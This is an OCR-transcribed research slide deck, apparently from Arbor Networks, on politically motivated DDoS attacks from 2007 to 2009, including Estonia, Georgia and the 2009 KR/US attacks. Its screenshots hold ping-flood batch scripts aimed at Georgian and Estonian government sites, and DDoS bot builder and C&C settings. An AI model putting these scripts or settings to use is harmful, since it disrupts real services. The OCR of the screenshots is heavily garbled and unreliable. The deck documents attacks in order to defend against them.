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Internet Attack Scale - 2007
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o Unique attacks exceeding indicated BPS threshold for single ISP
o Average of three 1-Gbps or larger attacks per day over 485 days of collection

o Two ~25 Gbps attacks reported by a single ISP (on same day, about one hour apart,
duration of ~35 minutes)
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2008 Survey: Attack Sizes - Growing

Largest Attack Size — 40 Gigabits Per Second
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March, 2009: 48 Gbps attack observed on Internet ARBOR
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lililtlhliay oRece o
o Botnet/malcode

ﬁ tracking
@ o BGP information

E o Server logs
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Traffic Rate Alerts

o Flow or inline measurement

o Dynamic, against learned baseline
o N standard deviations above normal
o PPS, BPS, destination CIDR

o Static, basic misuse categories

o SYN floods, fragments, etc

o Hard PPS limits

o System summarizes, characterizes
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Global aggregation in ATLAS from field systems
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Global DDoS Traffic Q2 2009
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DDoS victims, measured traffic (Peakflow)
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Active Botnet Tracking

o Project Bladerunner

o Collect malware

o Dynamic analysis

o Characterize as DDoS bot

o ldentify server

0 Send in Bladerunner (Py) continuously
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FREQ
DDOS
DDOS
DDOS
DDOS
DDOS

A

http://bizus-kokovs.cc/cgi-bin/get.cgi

N

1800000

5999940000 www.president.gov.ge / 0 win+love+in+Rusia 80 7
5999940000 www.president.gov.ge 80 7

5999940000 www.president.gov.ge 80 7

5999940000 www.president.gov.ge 7

5999940000 www.president.gov.ge / 1 win+love+in+Rusia 80 7

O = NWO

www.president.gov.ge | 62.168.168.9 | AS28751| GE
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Botnet DDoS Activity - Q2 2009
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Based on active botnet tracking, logging
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Backbone Routes (BGP)

0 Routeviews, Peakflow sources
o0 Monitor destination address announcements

0 Response to an attack
o (GE) Part of the attack?

0 Related: DNS tracking of targets
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Community Tracking

o Blogs
o Forums
o Twitter

o Alerts for important events

o Keyword triggers
o Screen for additional sites, chatter
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Black Energy

Cyberattack
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DDoS
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B Contribute to the Effort

$ Home Page | Instructions | €% Download

Espafiol | nmay

Who are we? - Reports
~ We are a group of students who are tired of sitting around doing nothing while _\ Rerpots from the communication warfare
- the citizens of Sderot and the cities around the Gazza Strip are suffering, NO between Israel and Hamas:

MORE! : a

We will not sit around and watch our children fear and cry out for help while g .
he missiles are flying over their heads! N ’ ' ‘
‘We say NO MORE! : - :



e 06 OCuHdbopm UHbopmaumoHHoe Arentcreo .Ocetus. HOxHas Ocetus. CesepHaa OceTus. C

ﬂd @ ke ® http://osinform.ru/index.php?action_skin_change=yes&skin_name: x .| v [ .' aguri Q ch ]@I
Back Forward Reload Stop  Home Adblock Plu:

A2 Weather RUS-CERT - Passive.. Amex Travel Network Calculators MS Security Advance... MonkeyGTD SNDS - FAQ Binary Graphs Comp... noOUT.patch ATF Admin

YouTube - Tchaikovsky ... @ B Georgian-Russian DDoS-... € (@ Translated version of htt... & | & OCundopm UHdopMaumo... & | @ Translated version of htt... &

'

29 asrycta 2008, 12:30

“~

KATEroruum ..How the war in South Ossetia is related to the presidential 21 asrvcTa 2008
compaign in the US '

InagHas We did not belive it when people said: “The major goal of this war in South Ossatia was 10 halp senator McCain to bacome the next president,”
HoBocTu but after reading this article balow and the resuits of the latest palls, we changad our minds...
AnanuTuka Just look at the real results of that war:
Haingxect
IKOHOMMKA WASHINGTON (Reuters) - In a sharp turnaround, Republican John McCain has opened a 5-point lead on Democrat Barack Obama in the
ObwecTso U.S. presidential race and is seen as a strongar manager of the economy, according o a Reuters/Zogoy poll released on Wednesday.
Mﬂop"ﬂ Kareropua: 06 wecteo | KommenTapuee 0| Nogpotiocmy > >
KynbTypa
leHouua
Cnopt Georgian soldiers were shooting down women, old people and 11 asrycTa 2008
®oTo children in South Ossetia '
Bugeo Georgian soidiers were shooting down women, old paople and children in South Ossetia. Eight populated
0 Hac areas were wipad off from the face of the earth. Their defenders fell during Georgian aviation attack. As
English ver. witnessed by llona Djioeva, resident of Dmenis village, “Georgian war- civilians’ houses and then the village

was entered by soldiers who shot up old people, women and children”.

“We managed to get to the positions of the Russian peace-making contingent and they helped us to getto a

safe place. Georgian shot down escaping paople; the woundad were shot through the head. Only a few people

LUMTATHI survived. Russian soldiers helped us to get out of it.

Now my mother and | are going to Mozdok region, which is in Ossetia. We don't know anything about my
»OTpLIBOK M3  CTAaTbW  BMAHOTO  prother. He works in Tskhinval militia” — told IA Regnum correspondent, a 19 year old student.
rpy3uHcKoro yuexoro, ¢unocoda,
AOKTOpa MCTOPHYECKUX Hayk,
npocdeccopa MepoHT Kukopse: «...
fo cux nop He ycTaHoBneHo, KTo Mbl | |ran condemns actions of Georgia and is ready to assist 10 aarycTa 2008

W OTKYA@, NOCKONbKY Ha 3eMNe y HaC | Tna |ranian Ministry of Foreign Affairs has daclarad readiness of Teheran to assist in restoration of the paace in South Ossetia. The Iranian
HET POACTBEHTHbIX HAPOAOB. Mbl HE | mananamant names actions of Georgia as a murder of defenceless peaple. The represantative of Iranian foreign policy department Hassan
3HaeM, KyAa Hac HeceT Hawa cyAbba...  Gashgayi has informed on it today. * Deterioration of crisis and negative consequences caused by it can influence all region *, - he has
MpaBpa roBOpAT, YTO Mbl XMAM HA | deciared, - Iran is ready 1o render any help within the imits of the basic policy on assistance to an estabishment of the worid and stability in
6eperax ata u Turpa, HO W TaM | ragion’,
Hac He NWOMNU, He [ABaNU XWUTb

wWwitm B OTeYeCcTBEHHON BOiiHE B
w
Kareropna: Hoeoctv | KormenTapuee 33 | NogpotHocm > > i

Kareropua: Hoeocv | KommenTapuee 12| NogpotHocty > >




o Assemble all data

o Store in databases,
query
o Join on targets

o Analyst melds together

0 Nearly complete
picture
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Value of Data

o Operational value
— Which links are affected

— Which C&Cs to target for shutdown
— What kind of attacks, targets are being hit

o Investigative value (long term)
— Who may be behind attacks
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DDoS Tools
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#= Supper DDos (¥1.00) A

Powerful DDOS tools, only for testing usage

Target IP: [Input Target IP or DNS name]

Port: |80 [Input Target Pori]

Protocol: * TCP - - [Choose the protocol]

Informationk!Press "Attack' button to start attack!

atop Cancel

N ETW ORKS
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FEKLAMA HACTPOMTE | UT3E

ZMOCHOBCHKHRA

S KOHKYPC PELIEH3NNA

LIVEJOURNAL
thecTueane noLAepEHBAET

Coemawén | Bensa Bossss | Panzer Division | Ayceain | Jywmee

Zuruck | Vorwarts

Japsaxai no 1yxoHoduiam!
10 Magi, 2007 at 7:20 P

@echo off

SET PING _COUNT=50

SET PING TOMEQUT=1000

PING

echo Pinguem estonskie servera

: ping -w %PING_TOMEOUTS -l 1000 -n %PING _COUNT% dns.estpak.ee

L ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNTS 104.126.115.18
ping -w BPING _TOMEOUTY -l 1000 -n ®PING_COUNT% ns.eenet.ee

1) walksdlaka

Huroaamn
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--[ BlackEnergy DDoS Bot ]--

Server: |http:ﬁsomehost.net,fstat.php

Request rate: | 10 (in minutes)

Qutfile: | _bot.exe

[ Build

BlackEnergy DDoS Bot; ver 1.4.5 (with H’

Default command (if can't connect ko server):

ICMP Freq
ICMP Size
SYN Freq
HTTP Freq
HTTP Threads
TCP/UDP Freq

: |10

| 2000

: |10

| 100

1 E

:|50

LDP Size: | 1000

TCP Size:
Spoof IP's:

| 1000

|0 {1 - ON; O - OFF)

Build ID: | E3FFD150

| wait

Execute after | 30 minutes {0 - execute immediatly)

:: Botnet control

Control bots

Flooders opiions
ICMP flooder

freq: Il[}
packetsize: |2EI{]{}

SYN flooder

freq: Il(}

HTTP-GET flooder
freq: IIDG
threads: |3

UDP and TCP/UDP data flooders

UDF/TCP freq: |2'D
UDP size: IIU{}(}
TCP size: I2U{}G

Advanced SYN and ICMP options
spoof sender IP: [~

attack mode: |dcfau It |
Max Sessions: IS{}— (for 'drop by timeout')
Command
wait [ help |
refresh rate: IIID— (in minutes)
submit |
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BWHOBHbICHENHAKA3aHbI"

[naskas crpanmua » HoocTu 02.09.2008, Cpena. 19:35:45 English version - Flash-aacraexa » Caenarb cTaprosoi * [locTasurs 3aknanky

WHIYLLETUA.ORG HOBOCTH * O PECMYE/IUKE * NAMATH MATOM EBNOEBA * ABTOPCKUE
mbT" WUCNAM * TANEPES * KY/IbTYPA * CIIOBAPb * MY3bIKA * PASHOE * FOMOP *
OBBLABNEHWUSA * TOCTEBAS KHWUIA * FTPK "MHIYLUETHA"™

Bo: '] ( Pervcrpayus « Bxon )
APXMB HOBOCTEMN HOBOCTH PECNYB/IMKM MHIMYLLETUA ’
* cenTabph @ + 2009 B & Ornoasre goyry Fneenes cTpaiusa
) Binary: |C:\anaIysis\ilIusion\illusion_bot\BDTBINAHY.EXE Reload |
Xakepb! BHOBb ATAKYIOT HHIYLHICKHE CAWTBI. . .
~IRC Administration
MHryweTws.Org, 15.07.2009 00:00
o yuonanno norex <no<6aoro Cerogyis nocne nonyaws sHoss B0soGHoBNeHs! DDOS-aTd 1] Host: Ilrc.sewer.net Port: |BSB? Chan |#chan Pass: |4tesl E
3aronoBKe HOBOCTH. rnojBeprcst U COBEPLUEHHO Aanekuid oT nonutuyeckux Garaly "
Kniouesoe cnoso: NONONHUTENLHYIO CMYTY W 3a610KMPOBaTh MHAOPMALMOHHO) 2] Host: Ilrc2.sewer.net Port: |5857 Chan |#chan Pass: |4tesl E
CTpalwHee NPOTUBHUKA, YeM PaCTPeBOXKEHHbIA ynei. Tak
B3I0Ma MHTEepPHeT-Pecypcos. ORI
O wekars s Texcre —WEB Administration
B nocneaHee spems B hopyMe NIoBUTENsMIM OCYXKUX Pasr]
noprana ouuUManbHLIM BNACTHBIM CTPYKTYpaM U cneucnyd . . . o . pa—
Xastuesa, GO BCONl OTBETCTBEHHOCTLO SasBNSIO, KaK Il 1) Host: Imewhete.ln.the.net Port: IBU Path: I/webadmlm‘ Refresh time: E]
"WHrylweT¥s.opr" He NoA4MHAETCS HUKaKUM rpynnupoBkam, f| v - -
NMYHYIO OTBETCTBEHHOCTb Wy MEHS 0CTATOUHO My>kecTsa nff 2] Host: |mewhere. inthe.net  Port: |8IJ Path: |/webadmlm" |5 Sec.
HTOGL! NOMYHATH HAIM HOBOCTU cnosa. Kak v ropom paHee, nnowasgka noprana npepocra
nouToi, BeesuTe Baw e-mail:
e 3pEHWsi, HO 3TO COBCEM He 03Ha4aeT OTCYTCTBUE COBCTBEHH] ;
onpasaartb Hu ﬁeccyuumeoe kaaHu cneucny6, nu ugeonorvsfl  — Default services:
LeCSTKOB ThicsY cvpoT. CeroaHs pedb AOSMKHA MATU O TO
ManeHbk1x, KOTOPbI€ COTHAMM YMMPAIOT OT OHKOMOruu, o I . o5 . znnn
BbICTPENaMM B 3aTbiok. WM ecnu  nopran MoxeTr p Socksd, port: 4444 [El I_ Random, [ange: I1 Uza I“l’”‘”‘I
COOTEYECTBEHHWKOB, OH BYAET NPOAOSKATL paboTaTh.

- Manscarona. IV SocksS, port: |5555 @ [ Random, range: I';"IIIEH - Iif”:“:”f'
e -- ¥ FTP.pot.  |6666 R I Bindshell, port: il

~IRC Access
BOT PASSWORD: |sackball [~ MD5 Crypt
— Options
IV Install Kernel Driver [V &uto OP admin on IRC channel ¥ IRC server need password
[V Save services state inregisty [V Inject code (if driver fails) IV Bypass XP SP2 Firewall
[V Colored IRC messages v &ddto autoload Flood Values

. Ext || save | | About |

ARBOR
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PO6& http://oper.ru - JemokpaTvyeckan npecca u ceobona cnoea B HoeocTAX - Tobnuu (Coblin)

E fevo..@ & Tomeko... § Cospae.. 8§ Transla.. 8§ Transla... ¢ gle ... & sesame.. @ ITRussi.. @ ITRussi.. [ Crisisin.

BOT 9& HAPHLLI:

MHTEPHET-BOMHA: HYXHA TBOSA MOMOMIB!111111

cpatiomx nemmr speck: http:/fklenov.org/war.rar
Dro apxus, suyTpu bat daiinux cnegyomero cogepmcarma:

IuraTa:

@echo off

@echo Call this file (MSK) 18:00, 20:00
@echo Thanks for support of South Ossetial Please, transfer this file to the friends!
pause

start ping www_newsgeorgla.ru -t -1 1024
start ping www.apsny.ge -t -1 1024

start ping www.nukri.org -t -l 1024

start ping www.opentext.org.ge -t -l 1024
start ping www.messenger.com.ge -t -l 1024
start ping www.president.gov.ge -t -1 1024
start ping www.government.gov.ge -t -1 1024
start ping www.parliament.ge -t -l 1024
start ping nsc.gov.ge -t -l 1024

start ping www.constcourt.gov.ge -t -l 1024
start ping www.supremecourt.ge -t -1 1024
start ping www.cec.gov.ge -t -l 1024

start ping www.nbg.gov.ge -t -l 1024

start ping www.nplg.gov.ge -t -1 1024

start ping www.police.ge -t -1 1024

start ping www.mod.gov.ge -t -1 1024

start ping www.mes.gov.ge -t -1 1024

start ping www.mfa.gov.ge -t -l 1024

start ping www.iberiapac.ge -t -1 1024

start ping www.mof.ge -t -1 1024

SamycTHTe erc y cefs B BAI KOMOEIOTED GYNET CONABATE HATPYIKY HA TPYSHHCKHE CAfThI, 3ATPYIHAS HX NOCTYIHOCTh. [[epHATE CKONBEC 3AXOTHTE.
EciH KTO-TO MOXET NDPHIYMATh, 9T0 HEHGY s MOMyUIe, § TOJRKO Daf




Attribution




“Cyber warfare”?

o Attacks appear to follow diplomatic issues, not
lead

o Attack damage not on par with loss of life (GE, etc)
— Inconvenience only

o Therefore, in general ...
— We assume non-state actors
— We assume “right wing” political motivations
— We assume news reports stir public
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Student fined for attack against Estonian Web site

A 20-year-old Estonian student has been fined $1,642 for launching a cyberattack that crippled the Web sites of
banks, schools, and government agencies

By Jeremy Kirk, IDG News Service

January 24, 2008

A 20-year-old Estonian student has been fined for participating in a cyberattack that paralyzed Estonian Web sites and soured the country's relationship with Russia, a government official
said Thursday.

Dimitri Galushkevich used his home PC to launched a denial-of-service attack that knocked down the Web site for the political party of Estonia’s prime minister for several days, said
Gerrit Maesalu, spokesman for the Northeast District Prosecutor's Office in Tallinn, Estonia's capital. Galushkevich must pay 17,500 kroons ($1,642).

Galushkevich is the only person who has been convicted since the cyberattack in April and May 2007 crippled the Web sites of banks, schools, and government agencies.

The attacks occurred after the Estonian government decided to relocate a Soviet-era World War Il memaorial of a bronze soldier. Ethnic Russians in Estonia rioted in the streets, and
cyberattacks ensued. Russia denied involvement.

"He [Galushkevich] wanted to show that he was against the removal of this bronze statue," Maesalu. "At the moment, we don't have any other suspects.”
But police are still trying to find others who may have been involved in the attacks, although the investigation is complicated since the attackers are likely outside Estonia, Maesalu said.

As the attacks were continuing, Estonian Defense Minister Jaak Aaviksoo called for stronger defenses in Europe against computer hackers.

ARBOR
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FB O86 http:f}'u\ww.stnpgeorgia.rij - IT Russia vs. IT Georgia =

Bl oDemox..  f Loading.. § Cospae.. 8§ Transla.. & Transla.. & Google.. [ sesame.. @ [MRu.. @ | @ ITRussi. [N Crisisin.. -

| ¥gexc | Dopym | Crwcox norwmrsecion pecypcos Mpyans | Codr | Kowrmarna | www.StopGeorgia.ru ‘

Ppy3:A mpoekTa Haw oTeeT Ha arpectino cO CTOPOHL! Mpy3uA

I ' - NpeACTABMTENH DYCOKOND XaK-HIErPAYHAE, HE NOTEPNMM NPOBOKALYM GO CTOPOHG! Mpy3ni B Mokl e8 NPOARNEHKAX. Ml XOTHM HMTh B CBOGOAHOM MHUDE W
war.georgia.su CYLLECTRORATE B CROSOAHOM OT ArPECCHM W MM GETEBOM NPOCTPAHCTEE. Mbl HE HYX[AEMCA B YWA3AHWAX GO CTODOHS! BNACTEH WA MHBX NML, 3 feiCTEyeM
wWww Stop-war.us COFNACHD CBOMM YSEHEHHAM , DCHOBAHHLIM HA NATDHOTHAME, COBECTH M BEDE B CMNY CDAREANMBOCTH. Bhl MIDKETE HAILIBATE HAC NPECTYTHHKAMM
KHOE0-TEPPODMCTAMM, DAIBR3LIBAA MO 3TOM BOAHLI M yGMaaA mioged. Ho mul Gygew GOPOTLCA W HELOMYCTMM ArpEcEHM B OTHOWEHMA PoCcHM B GETEBOM NPOCTDAHCTRE.

13.08.2008
Mbi TpeGyem NPEXPALLIEHHA ETEK HA MHGOPMALMOHHBIE M MPEBNTENLCTREHHLIE PECYPCH! PYHET, & TaK e 0GpALIAEMCA KO BCeM GMW M XyDHANWCTEM C NPOCHO0A OGLEXTHBHO OCBEWETE  flaus Tpaypa. Cropfum
TMHEM HA PECYDGHI | NpoMCXOAALME CoSbmiA. [0 Tex NOp, NOKA CHTYALMA HE MIMEHWTCR, Mb! Gy1eM NDENATCTBORATL PACNDOCTRAHEHID NOMHOA MACGOPMALMY HA 3aNAMHLE W MDY SHHCKMK o norwSLwMM B FOxHOR
MPABMTENLCTBEHHLD M MHDOPMALMOHHLDK PECYPCEX. He Mbl PAIRRIANK MHOPMALMOHHYH) BORHY, HE HAM OTBENATH 33 88 NOCNEACTEMA. OoaTHM

] Mb! MpM3LIBAEM K NOMOILM BCEX, KOMY He GE3NaaniiHa NOHL NONWTHYECKI MPY3MHCKNE CARTOR, BCEX, KTO MMEBST BOIMIDKHOCTL MDENATCTBORATL PACNPOCTOAHEHMID Yo 10.08.2008
MHODODMELJH. QopyM NPOEKTa JANYILEH W
paloTaET B WTATHOM
StopGeorgla.ru peSKMME

P.S. CylecTeyeT 0H0 OMUMARLHOE JEDKANO NDOEXTE - WWw.Stopgeorgia.info. Boe 0CTANLHLIE PECYPCH! HE MMEIDT HIKEKOND OTHOLLEHAR K ABweEHn0 StopGeorgla.ru. 09.08.2008

OTHpLIT CalT,
BHUMAHWE! HEMELJKMA ATA-LEHTP "NETDIREKT" - WWW.NETDIREKT.DE OTKA3AN B XOCTWHIE 3EPKAITY NPOEKTAI 3EPKAND NOCAALLEHHGIA BENEHID

WWW.STOPGEORGIAINFO HA [JAHHbIA MOMEHT HE CYLUECTBYETI MHCDODMELIADHHON BOHI ¢
I pyaneit

07.08.2008

I'pysma paseasana
BOCHHEL} KORGUIHET C
H0r&moit Ocernet

N ETW ORKS
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58.65.237.49

apsny.ge

hacking.ge

osmp.ge

www.president.gov.ge

79.135.167.22
@ 83.229.186.70
N 4 190.183.60.83

NS

\"’

Ve
'/1 203.131.211.244
'/ 207.10.234 244
<
" turkeyonline.name /
ad.yandexshit.com
supportonline.mcdir.ru

illgay.com, incasher.net, prosto.pizdos.net,
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Elections - Intimidation

09.03.2009 f} rnaswan (5] s wibpannoe (@ e-mail [T]onpoexte () apxus (3 Gopyms (> Haw ok

Kacnapos.ru

unmepnem-2azema

[ rss [elenglsh [E] Buamec-marepuans

KGriffin, MEP & Andrew Brons, MEP

ELYINGITHE FLAG FOR BRITAIN

HOME POLCES RESOURCES MANFESTOS ABOUTUS HOWTOMELP ORGAMSERGUDES LVETV IDENTTY CAREERS

British National Party g "\
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W €10 GKOHOMHECKOTO KypCa.

19:00 Mpouserarowan Yeursn

CoseT aa nio6osb

Barnags! MyTuHa v Measenesa Ha
KPU3UC HE OTAMHAIOTCS APYr OT Apyra.
C TaKim 3aABNIEHMEM BICTYNUN
NOMOLUHVK NPeanaeHTa ApKaauii
[180pKOBUY. B MHTEPBLIO WS OH
TAKKE NPU3HAN OGN
npasuTenscTea Poccuu. Panee razeta
NUCANA, 4TO NPESAAEHT NOCTENSHHO

AHanuanpyem

MapToBckne BUAbI
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QTuATLIBATECA nepep [yMoi 38
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CropTOM KowuenTapyer:

T NPemMbep P

17:36 Maxosuk penpeccwit

Kacnaposa.Ru Cepred
TeTpywan.

Pokupoeka newek
YMHOBHMKOB GYAYT MEHSTL

09.03 OnacafiTech cAenoK ¢ MyTuHsIM

GLLIA He CTOWT nioGeaHnyaTs
C PEXUMOM, OBPEHEHHBIM Ha
rvGens

ver. 3.0 beta

CCT TR

wer
e —

TRV, | cocosner oot o oloctonf woBran
| e couttor ot it Natonl Py ambers v

Reglon Share Read ore EiopeanPatamentres

Statement by Nick Grifin
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Huhne: Tory plans 10 scrap EU criminal record chacks would risk public safety S S
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[ — TAKEBACK
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Read our plans

@8 CONSErvatives Foscy Peopls News Video Campaigns Whereyoulve Getinvolved Donsts Show your support

Do Labour think the British people are
fools?

David Cameron meets our new
councillors In Devon and Lancashire

Sign for Change
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Critics - Censorship

DVB

ENGLISH ETHNIC LANGUAGES  VIEW TEXT ONLY

(e

Family of Aung San’s assassin threaten biographer with legal
action
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Mar 9, 2009 (DVB)-A Burmese writer who wrote a book on Galon U
Saw, mastermind of General Aung San's assassination, has been
threatened with legal action by U Saw’s family for publishing
misleading information. - more
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SR, 088
) (o)

s
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Top Storles: Iran Ukraine Chechnya

Radio Free Europe
Radio Liberty

Monday, March 09, 2008

~ Hard-Won Rights
‘When the Taliban regime
was ousted in 2001 and the
new government came to
power, girls returned to
school in many parts of
Afghanistan, and women
‘were once again able to
work. Buta lack of security
and the persistence of
conservative, traditional
values is threatening to turn
- back the clock. More

LatestNews  From Our Bureaus

- Protesters, Police Scuffle
Outside Georgia Assembly

- Iraq Says Still At Odds With Iran
Over Border

- Serbian Police Detain 35 In
Organized Crime Swoop

- Kyrgyz Opposition Leader
Arrested As Murder Suspect

- France Will Receive Top NATO
Posts, Foreign Minister Says

- FourKilled As Violence Flares
On Afghan-Pakistan Border

- Iran Past ‘Nuclear Threshold,’
Israeli Spymaster Says

More News

ABOUTRFE/RL T,
E:;’:slza‘:erzﬂd;vss Commentary War Crimes 50th Blrmday ‘Commenta
and information in * A
countries where a
free press is either ||
banned by the 4
government or not
fully established. .

Women Are The Scholar Says U.S. When Barbie NATO's Embarrassing

Emerging Power Of Military Met Miadic, But Conquered The Soviet U-Turn On Russia
Where The 21st Century Made No Arrest Union

s RUSSIA "/ RUSSIA

Petropaviovsk
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Paviodar®

Qaraghandy *
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} \
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Diplomatic Tensions - Support of One Nation

guistic Groups

the Caucasus Region
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A adygey
f cherkess
s Kabardin
Georglan
51 G Geargien

Dagestani

1 Chechan
= Ingush

Other

Indo-European

Paoples

Armenian

1 lla Armenian

Slavic
R Russian

Altaic Peoples

Karachay
Kumy

Nagay
o T Turkmen

Monga!
Kalmyk

Sparsely populated or unihatited areas ane shown In white

Stavropol' Kray

[ b hostoy
5‘2\:"""“%\ Rastow
o -
™ o ;\\_m.su- o
Krasnodar S
ray - T

Caspian

Sea

L0125 crpawua - Hoeoct

MHIYIWETUA.ORG
HOBOCTHU

Bui: AvoNWMIIA nonb30BaTeNs ( PervoTpaus - Bxon) Cefivac ka ViTeprer-nopTanc:

'APXVB HOBOCTEN

« cenabps [2) [+ 2009 %)

(Butpary

| nouoK o HoBOCTSM |

10 yMORaIMIO NOKCK KANCUEBOTD

1083 NPOM3BORKTCS TOMLKO B,
2aron0BKe HoROCTH.

Knovesoe cnoso:
) vexanu s eccre

( Haimn

| NOANMCKA HA HOBOOTH

U706l nonyaT awm HoBocT
seave Baw 6 mai

NpowenipoBHONG0A"

IBWHOBHbIEYHENHaKa3aHbl"

02.08.2008, Cpena. 19:35:45 English version - Flash-3acTan<a - Caenare craprosok - MlocT:

HOBOCTM * O PECNVENVKE * NAMATY MATOMEIA EBNIOEBA * ABTOPCKVE MATEPMATIb! * MONIOJIEXKHOE [IBVXKEHUE * UCTOPUS! * CMIOPT *
VICIIAM * FATIEPES * KVIETYPA * CIOBAPb * MY3bIKA + PASHOE * IOMOP * TEXHOJIOTMM * KATATIOT * OMIPOC * ®OPYM * YAT (17) * [IONTA
OBLABNEHUS + FOCTEBAS KHUTA » [TPK "MHIYWETUS"

HOBOCTH PECIYE/IMKM MHIVLLIETHS!

2 Ornpaners zovry [— p—

Xakeps! BHOBb ATAKYIOT MHI'YIICKHE CANHTBI.
Mrywerws.Org, 15.07.2009 00:00
Ceroass nocne NONlyAHS BHOBb BO30GHOBNEHs! DDOS-aTaki Ha Haw nopTan "MHryweTus.opr". ATake
NOABEPICS 1 COBEPLIEHHO AANekii OT NONUTAECKIX GaTanuii "BaiiMoxK.coM". KOMY-TO Ha pyKy BHECTA
none, TONbKO Hapo Gbl NOMHUTL, 4TO HET

CTpalUHee NPOTUBHWKA, 4eM PACTPEBOXEHHSIA yei. Tak YT Nydlue OCTABATL GECroNeaHsIe NoNbITK
B3710M MHTEPHET-PECYPCOB.

B ocneiee spewn 8 hOpyS TNOGHTEIAK HOCYXtk PISTGBOPOS WYCOAPYET TOMS nepenoReHn

noprana BAACTHBIM CTPY C CCbLNKOM Ha BLICTY Maromena
Xasgwesa. Co sosR oTsercraeNiocTo Yasanaio, Xa_ RaBHi DORAKTOD. M BnaAGNGl CaHTa, 410
Ve .0pr* HAKGKAM T NApTASIM WK CYXGaM. 3a BCE TeMbl 5 HeCy
nnarylo ny meHs MyxecTea CBOY OWWGKU Y OTBEYAT 3 CBOM

crosa. Kak # rofoM pariee, MoLIaika NopTana NpefocTaBAAeTCs: AN, UHOA Pas, NOMAPHLIX TOYEK
3DeHNS, HO 3TO COBCEM HE 03HaYAET OTCYTCTBM COBCTBEHHOM MOIMLIAN. HUKAKO/ MADONOPSLOK HE MOryT
NPABATS Hit GECCYAHbIE KA3HM CIELCTYXS, Hi WACONOTMS XANM(DATA Ha KPOBH COOTEMECTBRHHUKOB
(CCATKOB THICSH CMPOT. CerofHs pedb AOIKHA WATM O TOM, KaK COXaHATb XM3HH NIOLER, OT Cambix
faneiicr, (OTopbie COTHM YUPRIOT OT GHKGIOTW, A0 CTEPAKOS, Tera KOTOPLIX WEXORAT G
JbicTpenami B sarbiiok. M ecu nopTan MOXeT NPMHECTA NONbdy XOTA bl AECHTKAM

paorars.
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“Sit In” Protest

o September, 2009

o “Anonymous” attempts D
websites
— Protesting Internet filtering in AU
— Effects were minimal

oS on AU PM, ACMA

Prime Minister of Australia

The Ministry Policy Priorities PM Connect Media Centre Youth

Community Cabinet makes Government more
accessible to local communities and works to
strengthen the democratic process

: ” I -

IN THE NEWS

14 September 2009
fairer Prime Minister Kevin Rudd supports his patron team, the
Australia Kinglake Lakers, in their Yarra Valley Mountain...

more >

Australian Government welcomes Gorgon joint
venture’s history-making investment decision
14 September 2009

Preparing for
The Gorgon investment will be Australia's largest-ever
challenges of the resources development

N more >

Building a New operating theatres for Canberra hospital
stronger 16 September 2009
i The Prime Minister, Minister for Health and ACT Minister for
Australia Health today officially opened two new operating...
more >
The PM watches the Yarra Valley Mountain
Building a District Football League grand final

AAA

Keep updated with the latest news
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PM launches his Youth blog

Prime Minister Kevin Rudd and
Minister for Early Childhood
Education, Childcare and Youth

> Read the text version
> View all videos

PM CONNECT
PM's Web Chat
PM's Blog
Community Cabinet
Subscribe

Email your PM

CONTACT INFO GLOSSARY SITE MAP

For the public:

Australian
Communications
and Media Authority
+ Consumer & community

advice | T

+ How regulation works

+ Content & advertising

For licensees & industry:

+ Licensing & regulation B ACMA corporate?

+ Service & technical B Broadcasting?
requirements B Internet?

Make a report

B Radiofrequency spectrum?
B Telecommunications?

ACMA news + i iatest news

The ACMA steps up consumer protection on mobile premium services (14 Sept)

+ Content requirements
About ACMA:
+ The ACMA organisation

+ The ACMA's role &
activities : . .
Handset blocking for repeated non-genuine calls to Triple Zero (8 Sept) Do Not Call
+ Publications & research N . N N Register
The ACMA supports National Child Week with © J
+ Forms & online systems (8 Sept)

+ News & media centre Proposed changes to extend Mount Beauty community radio service in north-

(T g east Victoria (8 Sept)

ACMA moves to protect Web Ace customers from direct debit scam (4 Sept)

Current issues  more issues... What are you looking for?

3 IFC 21/2009 New rules for implementation of premium SMS/MMS barring (14

L]
Sept, closes 23 Oct) RSS 2.0

. . B Online content complaints
» IFC 20/2009 Draft variation to Wangaratta licence area plan (8 Sept, closes 9
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Unknown Motivation - 77DDoS (KR, US)

« NAVER
chosun.com

o July 4-10, 2009, attacks on KR, US gov and
commercial targets

o Technical details known, actors and motivations
not

o KR-centric botnet (96%+)
o Early concerns of KP-state action
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Response
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IMPAC T

INTERMATROMAL WULTILATERAL PARTHERSHIFP AGAINST CYBER-TERFOATSM

NETWORKS
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Announced Cyber Attack Programs

o0 Several countries openly said they are exploring
offensive tools in this arena

o DDoS may be a part of it
0 Details unknown
o True state capabilities unknown
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Biggest Political Threats from Cyber Conflict

o Dissidents’ organizations

o Freedom of speech
— Critics
— Press
— Opposition candidates

o Elections
— Fairness

0 Internet is a communications medium
o0 These attacks threaten growth of liberties
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Rising Popularity

o Few incidents in 1999-2002
— Hainan Island
— |srael-Palestinian clashes
— NATO-Balkan conflict

o Massive growth since 2007
— Estonia, Georgia best known
— UA, RU domestic, RU-ex USSR, Belarus, Ingushetia,
Chechnya
— PS-IL
— US
— CN, Burma
— IR

0 No region is immune in 2009
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Thank you
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